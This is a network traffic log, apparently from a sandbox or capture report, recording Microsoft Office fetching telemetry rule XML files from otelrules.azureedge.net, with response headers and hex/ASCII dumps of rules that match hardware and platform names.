2024-10-30 06:28:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:13 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062813Z-16849878b786fl7gm2qg4r5y70000000080g000000001n2s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:13 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:13 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062813Z-17c5cb586f6gkqkwd0x1ge8t0400000008500000000096zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:13 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:13 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062813Z-16849878b78nx5sne3fztmu6xc00000008p0000000005gzd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:13 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-15b8d89586fnsf5zkvx8tfb0zc00000002q000000000cdst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:14 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:13 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4900665d-501e-0029-5111-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-15b8d89586fzcfbd8we4bvhqds00000002g000000000bgr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:14 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:14 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e1dd5be0-d01e-00a1-2084-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-17c5cb586f64v7xsc2ahm8gsgw00000002kg000000009cnm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:14 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-16849878b7867ttgfbpnfxt44s00000007kg000000003mk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:14 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:14 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7c52a88a-f01e-00aa-0993-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-r197bdfb6b4xfp4mncra29rqkc000000013g000000005cvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:14 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:14 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:14 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062814Z-16849878b78qf2gleqhwczd21s00000007rg00000000nfe6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:14 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-16849878b78p49s6zkwt11bbkn000000076g00000000md95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5feeb856-001e-008d-0ae8-28d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-15b8d89586fvpb59307bn2rcac00000002qg00000000byv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-16849878b78bjkl8dpep89pbgg00000006c0000000006hfg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" 